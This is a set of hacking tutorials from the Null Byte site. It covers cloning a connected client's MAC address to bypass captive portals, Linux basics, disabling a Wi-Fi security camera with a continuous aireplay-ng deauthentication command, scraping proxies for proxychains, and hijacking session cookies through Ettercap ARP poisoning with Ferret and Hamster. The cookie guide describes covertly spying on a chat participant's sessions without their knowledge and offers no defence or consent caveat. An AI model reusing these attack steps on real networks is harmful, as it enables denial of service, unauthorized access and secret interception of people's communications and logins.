end. Runip aagain to confirm the new name of the card.Once it's in station mode, you will need to bring the card down in order to change the MAC address. You can do this by typingsudo ifconfig wlan0 down. Again, make sure to replace wlan0 with the name of your wireless card.Step 7: Disguise Yourself as a Connected ClientOnce your card is down, you can use MAC Changer to change its MAC address. This is done by typing the following into terminal.sudo macchanger -mTheNewMACaddressTheNameOfTheInterfaceOnce this change is made, bring the card back up by typing the following command, and then try reconnecting to the target network.sudo ifconfig wlan0 upWith your cloned MAC address, you can connect to the network your target device is connected to. Immediately, you should see a difference from connecting earlier with your genuine MAC address — suddenly, your pings are going through, and you'll be able to load websites without being redirected back to the captive portal!Suddenly, our pings start to break through, and we're able to start loading webpages!It's important to note that the other device on the network may suddenly have a difficult time connecting to the network due to an IP collision. This is caused when two devices with the same MAC address are on the same network and are assigned the same IP address. Because of this, you should be careful about using this technique, as it could constitute unauthorized access to a network and denial of service of the user who's MAC address you're borrowing.Other Uses for MAC Address SpoofingTo add an IoT device, or any other device not able to click through a captive portal, the process is extremely straightforward. Rather than spoofing the address of an existing device, you can simply spoof your MAC address to that of the device that you want to add to the network. Once you've gone through the portal and your MAC address is added to the whitelist, you can change your MAC address back and connect your IoT device without any hassle.Don't Miss:Using Netdiscover & ARP to Find Internal IP and MAC AddressesSince you've manually added the MAC address to the open network's MAC filter, it should be able to connect to the internet directly with no issues. Keep in mind that most open networks restrict users to their own subnet, so just don't expect to be SSHing into your device over the local area network. Your MAC address will revert to the original when you restart, so you can change it back through MAC Changer or by restarting when you're done spoofing your address.Defending Against MAC SpoofingSince MAC addresses can be spoofed so easily, it's generally not advised to use it for any application that requires real security. While MAC address filtering can prevent an unskilled attacker from connecting a device, anyone with basic knowledge of wireless recon would find it trivial to bypass such a network restriction.It's far more secure to require a password to connect and restrict a user to their own subnet, rather than maintaining an open network with a captive portal using MAC address filtering.Don't Miss:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSI hope you enjoyed this guide to bypassing MAC address-based security in open networks! If you have any questions about this tutorial or how MAC address spoofing works, feel free to leave a comment or reach me on Twitter@KodyKinzie. We'll be exploring more Wi-Fi hacking techniques, so stay tuned.Follow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Stop Retail Stores from Tracking You While Shopping with Your Galaxy Note 3How To:Connect to Xbox LIVE in a Hotel Room Using Your Computer, Phone, or Tablet's MAC AddressHack Like a Pro:How to Get Even with Your Annoying Neighbor by Bumping Them Off Their WiFi Network —UndetectedHow To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Use Ettercap to Intercept Passwords with ARP SpoofingAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Get Unlimited Trials of Popular Software (& Bypass Time-Restricted Hotspots for Free WiFi)How To:Check Wi-Fi Reliability & Speed at Hotels Before Booking a RoomHow To:Detect When a Device Is Nearby with the ESP8266 Friend DetectorHow To:Take Screenshots of Disappearing Photos on Instagram Direct Without Getting CaughtWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHow To:Laplock Protects Your MacBook from Thieves in Public PlacesHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:Fix Cellular & Wi-Fi Issues on Your iPhone in iOS 12How To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Use Your Android as a Microphone for Your PCThe Hacks of Mr. Robot:How to Hack BluetoothGoogle Chrome 101:How to Play the Hidden Dinosaur Mini-Game on Your iPhone or Android PhoneHow To:Target Bluetooth Devices with BettercapHow to Hack Wi-Fi:DoSing a Wireless AP ContinuouslyHow To:Save Snapchats Without Getting Caught on Your iPhone — No Jailbreak RequiredHow To:Hack Wi-Fi Networks with BettercapHow To:Can't Log into Hotel Wi-Fi? Use This App to Fix Android's Captive Portal ProblemHow To:Recover a Lost WiFi Password from Any DeviceHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorNews:Social Engineering for the hell of it.How To:Understand & Use IPv4 to Navigate a NetworkNews:How to Use a Roku, Fire Stick, or Chromecast on Hotel TVsHow To:Log Wi-Fi Probe Requests from Smartphones & Laptops with ProbemonHow To:Use an ESP8266 Beacon Spammer to Track Smartphone UsersHow To:Block Ads in Games on Your iPhone for Distraction-Free GameplayHow To:Get Free Wi-Fi from Hotels & MoreHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:How Hackers Steal Your Internet & How to Defend Against ItNews:iOS 8's Hidden Feature Aims to Stop Retail Stores from Tracking You While ShoppingHow To:Bypass a Local Network Proxy for Free InternetToday's Tidbit:Expensive Hotels Nickel and Dime Their Customers
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 1 (Getting Started) « Null Byte :: WonderHowTo
Welcome back, my hacker trainees!A number of you have written me regarding which operating system is best for hacking. I'll start by saying that nearly every professional and expert hacker uses Linux or Unix. Although some hacks can be done with Windows and Mac OS, nearly all of the hacking tools are developed specifically for Linux.There are some exceptions, though, including software likeCain and Abel, Havij,Zenmap, andMetasploitthat are developed or ported for Windows.When these Linux apps are developed in Linux and then ported over to Windows, they often lose some of their capabilities. In addition, there are capabilities built into Linux that simply are not available in Windows. That is why hacker tools are in most cases ONLY developed for Linux.To summarize, to be a real expert hacker, you should master a few Linux skills and work from a Linux distribution likeBackTrackor Kali.Image viawonderhowto.comFor those of you who've never used Linux, I dedicatethis series on the basics of Linuxwith an emphasis on the skills you need for hacking. So, let's open up BackTrack or your other Linux distribution and let me show you a few things.Step 1: Boot Up LinuxOnce you've booted up BackTrack, logged in as "root" and then type:bt > startxYou should have a screen that looks similar to this.Step 2: Open a TerminalTo become proficient in Linux, you MUST master the terminal. Many things can be done now in the various Linux distributions by simply pointing and clicking, similar to Windows or Mac OS, but the expert hacker must know how to use the terminal to run most of the hacking tools.So, let's open a terminal by clicking on the terminal icon on the bottom bar. That should give us a screen that looks similar to this.If you've ever used the command prompt in Windows, the Linux terminal is similar, but far more powerful. Unlike the Windows command prompt, you can do EVERYTHING in Linux from the terminal and control it more precisely than in Windows.It's important to keep in mind that unlike Windows, Linux is case-sensitive. This means that "Desktop" is different from "desktop" which is different from "DeskTop". Those who are new to Linux often find this challenging, so try to keep this in mind.Step 3: Examine the Directory StructureLet's start with some basic Linux. Many beginners get tripped up by the structure of the file system in Linux. Unlike Windows, Linux's file system is not linked to a physical drive like in Windows, so we don't have ac:\at the beginning of our Linux file system, but rathera /.The forward slash (/) represents the "root" of the file system or the very top of the file system. All other directories (folders) are beneath this directory just like folders and sub-folders are beneath the c:\ drive.To visualize the file system, let's take a look at this diagram below.It's important to have a basic understanding of this file structure because often we need to navigate through it from the terminal without the use of a graphical tool like Windows Explorer.A couple key things to note in this graphical representation:The/bindirectory is where binaries are stored. These are the programs that make Linux run./etcis generally where the configuration files are stored. In Linux, nearly everything is configured with a text file that is stored under/etc./devdirectory holds device files, similar to Windows device drivers./varis generally where log files, among other files, are stored.Step 4: Using PwdWhen we open a terminal in BackTrack, the default directory we're in is our "home" directory. As you can see from the graphic above, it's to the right of the "root" directory or one level "below" root. We can confirm what directory we are in by typing:bt > pwdpwdstands for "present working directory" and as you can see, it returns "/root" meaning we're in the root users directory (don't confuse this with the top of the directory tree "root." This is the rootusersdirectory).pwd is a handy command to remember as we can use it any time to tell us where we are in the directory tree.Step 5: Using Cd CommandWe can change the directory we're working in by using thecd(change directory) command. In this case, let's navigate "up" to the top of the directory structure by typing:bt > cd ..Thecdcommand followed by the double dots (..) says, "move me up one level in the directory tree." Notice that our command prompt has changed and when we typepwdwe see that Linux responds by telling us we are in the "/" or the top of the directory tree (or the root directory).bt > pwdStep 6: Using the Whoami CommandIn our last lesson of this tutorial, we'll use thewhoamicommand. This command will return the name of the user we're logged in as. Since we're the root user, we can log in to any user account and that user's name would be displayed here.bt > whoamiThat's it for now. In thenext several tutorials, I will continue to give you the basics of Linux that you'll need to be a pro hacker, so keep coming back!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byBotheredByBees/FlickrRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)News:What to Expect from Null Byte in 2015Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Goodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingTHE FILM LAB:Intro to Final Cut Pro - 02Community Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHow To:How Hackers Take Your Encrypted Passwords & Crack ThemCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsNews:Let Me Introduce MyselfCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingHow To:Chain VPNs for Complete Anonymity
How to Hack Wi-Fi: Disabling Security Cameras on Any Wireless Network with Aireplay-Ng « Null Byte :: WonderHowTo
Electronic warfare tactics work by jamming, disrupting, or disabling the technology a target uses to perform a critical function, and IoT devices are especially vulnerable to attacks. Wireless security cameras like theNest Camare frequently used to secure critical locations, but a hacker can surgically disable a webcam or other Wi-Fi connected device without disturbing the rest of the network.In general, IoT devices are notorious for having open ports, default (and often hard-coded) passwords, and other serious security flaws which anyone connected to the same Wi-Fi network could potentially exploit. If you are connected to the same Wi-Fi network as a security camera, or the camera is connected to a network with no password, it is possible to do more than just disable the device. This includes attempting to log in to the camera itself.In spite of the risk IoT devices pose, cameras and other Wi-Fi connected sensors are marketed as being capable of securing or monitoring many important things, making the Wi-Fi networks they're attached to a valuable target for hackers.While we discussedhow to use Airgeddon to jam Wi-Fi networks completely, full-scale denial-of-service attacks aren't stealthy and will cause widespread disruption on the whole network, calling too much attention to what you're doing. In some cases, it's better to target a single host device on a particular network, such as a Wi-Fi security camera, without affecting the entire network.Don't Miss:How to Build a Software-Based Wi-Fi Jammer with AirgeddonA hacker or pentester can turn up information during recon that shows interesting devices attached to the target network. UsingKismetorAirodump-ng, passive Wi-Fi recon tools, he or she can identify access points that are actively exchanging data, read packets out of the air, and display information about the source. A targeted network can then be broken down to see the individual sources of the packets being exchanged, in other words, a list of every device connected.Taking a stroll around a target facility would be enough to walk away with a list of every wireless device in use on the network — without having the network's password. From that list, he or she can identify devices by the MAC address, as well as other details about the Wi-Fi configuration such as default hotspot names.Don't Miss:How to Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesWhile you would expect to see Wi-Fi security cameras, connected thermostats, music players, TV streaming devices, Wi-Fi remotes, and printers, there are less common Wi-Fi connected devices you may come across. This is illustrated by the ability toidentify and map the location of Wi-Fi enabled sex toys(a practice named "screwdriving") which either use an app over Wi-Fi for to control the device or, more horrifically, to stream video from a camera.The tactics we're discussing today will disable any of these devices which do not have an Ethernet backup. Before anyone asks, yes, this means you could theoretically build a script that freezes all Wi-Fi-controlled sex toys in range everywhere you go. Why someone would build such a weapon I do not know, but in this example, we will focus on the more commonly seen Wi-Fi security camera.What You'll Need to Get StartedTo get started, you'll needKali Linuxor another Linux distro likeParrot SecurityorBlackArchthat has the ability to runAireplay-ng. You can run this from a virtual machine, a live USB install, or a hard drive installation.Next, you'll needa wireless network adapterthat allows for packet injection and monitor mode, since you'll need be able to scan the area to locate the device you wish to disconnect. You'll also need to send packets that pretend to be from the access point the device is connected to.Recommended Adapter:The Alfa AWUS036NH 2.4 GHz for $35 on AmazonStep 1: Update KaliWith those two requirements taken care of, you can get started by making sure your system is fully up to date. In Kali, the command to do can be seen below.apt updateAfter this, you should be ready to go, but make sure you have a target you have permission to access (and deny service to) with the Aireplay-ng tool. While you can scan any network you want with Kismet, Aireplay-ng will execute a denial-of-service attack that is illegal to run against a network you don't have permission to audit.Step 2: Choose Your WeaponThe first step in identifying wireless targets is to conduct passive recon on the wireless environment. To do this, we can use a program called Kismet which can perform wireless signals intelligence in a passive and undetectable fashion. The advantage of this is that by simply being in proximity to your target, you can observe the wireless traffic in the area and later parse the information to find interesting devices.More Info:Use Kismet to Watch Wi-Fi User Activity Through WallsAn alternative to Kismet is runningArp-scan, which can be configured in a number of ways to filter information further about the networks you discover. While this does work, sometimes the output takes more work to decipher. We'll be using Kismet, however, for the rest of this guide.Step 3: Put the Wireless Adapter in Monitor ModeTo start scanning with either tool, we'll need to put our wireless network adapter into monitor mode. We can do so by typing the following, assumingwlan0is the name of your wireless card. You can get the name of your wireless card by runningifconfigorip ato list the available network interfaces.sudo airmon-ng start wlan0Once the command runs, you can runifconfigorip aagain to confirm the card is in monitor mode. It should now be named something likewlan0mon.Step 4: Start Up Kismet on the NetworkOnce monitor mode is taken care of, we can start Kismet by typing the following.kismet -c wlan0monIn this command, we are specifying which network adapter to use with Kismet with the-c(client) flag. We should see something like the output below. You can pressTab, thenReturn, to close the console window and show the main screen.Step 5: Discover Wireless Security Cameras with KismetWe can now scroll through the network and attempt to identify interesting devices. If you can't do this, you may need to enable more options under the "Preferences" menu to see the source of packets. You can access this through the "Kismet" menu seen below.Once Kismet is running, you can start to look up the manufacturer of any devices that look like they might be a security camera. Here, we have found a likely device, which Kismet tells us is made by "Hangzhou." You can see its MAC address is A4:14:37:44:1F:AC.We can look into this in more detail due to the way that MAC addresses are assigned. Because the first six numbers and letters are assigned to a particular organization, I was able to quickly look up the name of the company that makes this device along with "A41437."Taking the full name of the company, in this case, Hangzhou Hikvision Digital Technology, a simple Google search reveals their product line. As luck has it, they are a company that makes wireless surveillance cameras.This company sells wireless cameras.Now we have three pieces of critical intelligence: the name and BSSID of the Wi-Fi access point the camera is on, the channel the network is broadcasting on, and the BSSID addresses of the camera itself. You can pressCtrl-Cto close Kismet.It's worth noting that if a security camera only starts to record or send data when it sees motion, a hacker could sit nearly a mile away and just record when the camera is sending traffic to know when someone is moving in front of the camera, even if they couldn't see what the camera was seeing directly.With all this information, a discovery like a door being monitored by a streaming camera connected to a DVR would mean that we can expect the device to stop functioning when disconnected. We can take all of the information we found and use Aireplay-ng to disable the connection.Step 6: Execute the Deauthentication AttackTo begin disrupting the connection to the device we've targeted, we'll need to lock our wireless network to the channel we observed traffic on. We can do this by typing the following commands, assuming we want to lock the network adapter to channel 6.airmon-ng start wlan0mon 6Now that our card is on the correct channel, we can direct the command which will disconnect the device we've located. The command we will use to do this is formatted like this:aireplay-ng -0 0 -a <bssid of access point> -c <bssid of client device> <name of the adapter>To break down what the commands above are doing:-0will set the attack option to option 0, a deauthentication attack which will send authentication packets pretending to be from the access point to the device. The0that follows indicates to send a continuous stream of deauthentication packets, but you can also choose a fixed number to send here.-awill set the BSSID of the Wi-Fi access point that the device is connected to.-cwill set the BSSID of the device we wish to kick off the network.Our final command for our example would be as follows.aireplay-ng -0 0 -a f2:9f:c2:34:55:64 -c a4:14:37:44:1f:ac wlan0monOnce this command executes, it will continue to jam the Wi-Fi connection between the two devices until you cancel the command by hitting theCtrl-Ckey combination.Defending Against This Type of AttackTo prevent your network devices from being targeted, the best solution is using Ethernet. While a lot less convenient than Wi-Fi, it doesn't allow the connection to be manipulated or suddenly cut off at critical times from an outsider without physical access. Because this is always a possibility with Wi-Fi, it's just not very well suited to doing this kind of job in a setting where it may be attacked.While some users try tactics like making your network "hidden" to evade these sorts of attacks, this will simply invite much more attention and curiosity than it will actually protect your network. Any camera or device actively using Wi-Fi will betray its connection to a tool like Kismet, meaning the best solution is to simply not use Wi-Fi when possible.If you absolutely must, reducing the power of your Wi-Fi access point to prevent the signal from reaching needlessly far can help make it more difficult to read this information, but most IoT devices do not include this functionality.Internet of Things Devices Have Serious DrawbacksWith the ability to selectively disable any Wi-Fi dependent device, hackers can exploit this ability to take advantage of situations relying on these devices for security. It's up to people using and deploying these devices to keep them updated and in roles that are appropriate for their abilities. In this case, it's clear that a Wi-Fi dependent security camera cannot be relied upon to provide continuously streamed coverage of important areas.I hope you enjoyed this guide to targeting and disabling IoT devices like Wi-Fi cameras with Aireplay-ng! If you have any questions about this tutorial or Wi-Fi recon and exploitation, feel free to leave a comment below or reach me on [email protected]'t Miss:More Wi-Fi Hacking Fun on Null ByteFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byRavi Shah/Flickr; Screenshots by Kody/Null ByteRelatedHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHack Like a Pro:How to Get Even with Your Annoying Neighbor by Bumping Them Off Their WiFi Network —UndetectedHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow to Hack Wi-Fi:DoSing a Wireless AP ContinuouslyHow To:Intercept Images from a Security Camera Using WiresharkHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Use MDK3 for Advanced Wi-Fi JammingHow To:Spy on Network Relationships with Airgraph-NgHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow to Hack Wi-Fi:Creating an Evil Twin Wireless Access Point to Eavesdrop on DataHow To:Automate Wi-Fi Hacking with Wifite2How to Hack Wi-Fi:Performing a Denial of Service (DoS) Attack on a Wireless Access PointHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow To:Detect Script-Kiddie Wi-Fi Jamming with WiresharkHow To:Hack Open Hotel, Airplane & Coffee Shop Wi-Fi with MAC Address SpoofingHow To:Crack Wi-Fi Passwords—For Beginners!How to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon)How to Hack Wi-Fi:Creating an Invisible Rogue Access Point to Siphon Off Data UndetectedHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Hack Wi-Fi Networks with BettercapHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:How Hackers Steal Your Internet & How to Defend Against ItNews:PSP2 (Next Generation Portable) or NGPHow To:Get Free Wi-Fi from Hotels & MoreHow To:Bypass a Local Network Proxy for Free Internet
How to Add Proxies to Your ProxyChains Config File the Lazy Way ;) « Null Byte :: WonderHowTo
Hello fellow gray hat hackers, I wrote a program in python that helps me to fill up my proxychains.conf file, so I don't have to manually enter in the proxies. I figured I will give a little how-to of how I did it and maybe I could help some of you(hackers) out there to stay anonymous.What Is Proxychains?According tothis poston github;ProxyChains is a UNIX program, that hooks network-related libc functions in dynamically linked programs via a preloaded DLL and redirects the connections through SOCKS4a/5 or HTTP proxies.It is very useful if you want to combine two or more proxies to increase your level of anonymity.It can also be used with almost any application, to route all that application's traffic through the defined proxies in the configuration file.Unfortunately, I am not here to teach you how to set it up. You can click thislinkto know how to do that. It's really simple actually. So now the main part....Whole IdeaOkay, so basically, what we are going to do is:Open a webiste that provides free proxiesParse the contents of that website.Locate the proxies in the parsed contentAdd the proxy IPs and port numbers along with the protocol to our proxychains configuration file.Simple right....well let's get started..Step 1: Importing Modules and Setting the Options RightImage viatinypic.comWe are going to use the following modules:bs4(i.e. BeautifulSoup) - to parse the webpageurllib2 - to open the webpagebase64 - to decode the parsed IP addresses and port numbers(you will see why soon)os - to check for root permissionsys - to exit the programLine 5-7 - defining arrays to place our information in itLine 9-11- check if the program is running with root privileges so that we can edit the configuration file.Line 14-16 - check to make sure all arguments have been provided.Step 2: Opening the WebPage and Parsing Our DataImage viatinypic.comSo we just going to use http proxies, but you can feel free to modify the code for yourself.Anyway, our lucky proxy site winner ishttps://proxy-list.org/. We add a user-agent so we look legit, and not some proxy-stealing bot(they don't need to know that...lol). So well, we open our webpage and we use BeautifulSoup to parse the html, this way we can easily select which tags we want to be particular about, and get our proxies.Step 3: Getting Our Information and Filling Up the VariablesImage viatinypic.comOkay, so for this part, if you take a look at the html source code for proxy-list, you will see that, they put their proxies in a list form. So we can easily get that from our soup(the parsed data...lol).They also make it easy for us by adding an attribute so that we can easily get our proxies. Also, previously, the proxies used to be in plain text, but they recently began to encode them with base64, but that's not a problem for us, right?! That's what the base64 module is there for.So we decode the proxies and put them in a our list....and then we iterate through the whole list and separate the IPs from the port numbers so we can easily add it to our configuration file.Step 4: Finally, We Update Our Config FileImage viatinypic.comFinal Step, is just to open up our file and add the proxies to it.Noticed, I used 'a' as the mode to open the file so that, I don't overwrite what's already in it. And also, if you don't have root privileges you won't be able to write to the file(that's how mine was I don't know about you tho...)After that you just close the file, and you are done.ConclusionThank you guys for taking the time to read this. I hope you compeletely understand what's going on. If you don't just leave a comment below. And if you have any questions, I will try and answer them as soon as I can.EDIT:Hi guys, so I have made some improvements to the old program, so let's call this v2.0. I want to especially thankDefaltandJeremiah Paynefor pointing out the fact that, the proxies from the old one, weren't really helping in reducing anonymity. And of course, OTW'spostfor supplying better sources for the anonymity.Since I can't rewrite a whole how-to again, the concept is the same, so you can just check out the codehereon pastebin.God bless you.Wuzi out!!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Evade Detection Using ProxychainsThe Hacks of Mr. Robot:How Elliot & Fsociety Made Their Hack of Evil Corp UntraceableHow To:Use Burp & FoxyProxy to Easily Switch Between Proxy SettingsHacking Windows 10:How to Turn Compromised Windows PCs into Web ProxiesHow To:Hide Your IP Address with a Proxy ServerHow To:BeEF - the Browser Exploitation Framework Project OVER WANHow To:Bypass School Internet Filters to Unblock WebsitesHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebHow To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiNews:Top 25 Firefox TweaksHow To:Sneak Past Web Filters and Proxy Blockers with Google TranslateHow To:Bypass a Local Network Proxy for Free InternetHow To:Your Guide to Lazy Baking, Part 1: How to Make Mini-Pies in Muffin TinsAnonymous Browsing in a Click:Add a Tor Toggle Button to ChromeHow To:Use Tortunnel to Quickly Encrypt Internet Traffic
Hijacking Cookie Sessions « Null Byte :: WonderHowTo
Let's say that we want to see what someone is doing on their computer? In this tutorial, we'll be hijacking cookie sessions to do just that!Step 1: Preparing KaliIn order to do this, we need three tools:Ettercap (duh)HamsterFerretFerret is a nice little tool that runs with Hamster. It grabs session cookies that travel across the LAN. Hamster is a proxy that "manipulates" everything grabbed by Ferret. The only thing is that Ferret doesn't come with Kali 64-bit version. In order to install it, we need to add the i386 (32-bit) repository.Thenwe can install it. For convenience, run this 1-line script to install it:dpkg --add-architecture i386 && apt-get update && apt-get install ferret-sidejack:i386After you do that, let's move on.Step 2: Setting Up the MitM Attack VectorsEttercapWe're going to use Ettercap to ARP poison the targets. Open it up and do:Sniff-->Unified SniffingHosts-->Scan for HostsMitM-->Arp PoisoningandONLYcheckSniff Remote ConnectionsStart-->Start SniffingHamster & FerretNow thatFerretis installed, all we have to do is runferret -iinterface. For instance, I'll be using Ethernet.You should quickly be getting output like this.To run Hamster, just typehamsterin a new terminal.Step 3: Viewing the Cookie SessionsTo view the cookies that we have "sidejacked," simply open your web browser and type in the URL boxlocalhost:1234or anything of the equivilent (i.e., 127.0.0.1:1234). You should get a screen like this:Now we need to tell Hamster the interface to listen on. Go toadaptersand enter the same interface you entered in Ferret.PressSubmit Queryand let the magic begin (you'll have to wait a while before you get lots of cookies).Step 4: Viewing CookiesAfter a while you'll start to see some IP addresses pop up (including yours). To view the cookies, simply click on the IP address.Just click on the URLs the view them. For example, I just was talking about stuff in a chat, but I left. I didn't trust one of the members and guess what? I was right.Now, I didn't see it in the chat, but I decided to sidejack him just in case, and guess what I found?So I know what he said, but he doesn't know I know it....If you want to view the original cookies, just click thatcookiesbutton and replacehamsterwithlocalhost:1234at the beginning of the URL, or you can open up the .pcap file in the home folder.Mission CompleteNow we can view everything this guy says, and he won't ever know it. This same attack can also be used to hijack someone's session while they're logged in to a website, making things much faster than cracking passwords. Cool, eh?I hope you found this as much fun as I did.This was part of our C3 project.C|H of C3Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Session hijack with a pineappleHow To:Use BlackSheep to thwart the password stealing Firesheep in FirefoxSubterfuge:MITM Automated Suite That Looks Just Lame.How To:Create cookies and track sessions with the PHP scripting languageHow To:Prevent your Facebook cookies from being hijacked by FiresheepForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingHow To:Use JavaScript Injections to Locally Manipulate the Websites You VisitHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)How To:Prevent Social Networks from Tracking Your Internet ActivitiesNews:Cookie DoodleRECIPE:Chocolate Chip Cookie Dough CupcakesNews:Hollywood Billboard HijackNews:AR World Makes Wonderment BlogNews:5 Bourbon-Spiked Christmas Cookie RecipesNews:Get YouTube's New Layout Today with a Simple JavaScript HackNews:DIY Fractal GingerbreadmenFood Photography Challenge:Chocolate Spice CookiesNews:augmented reality 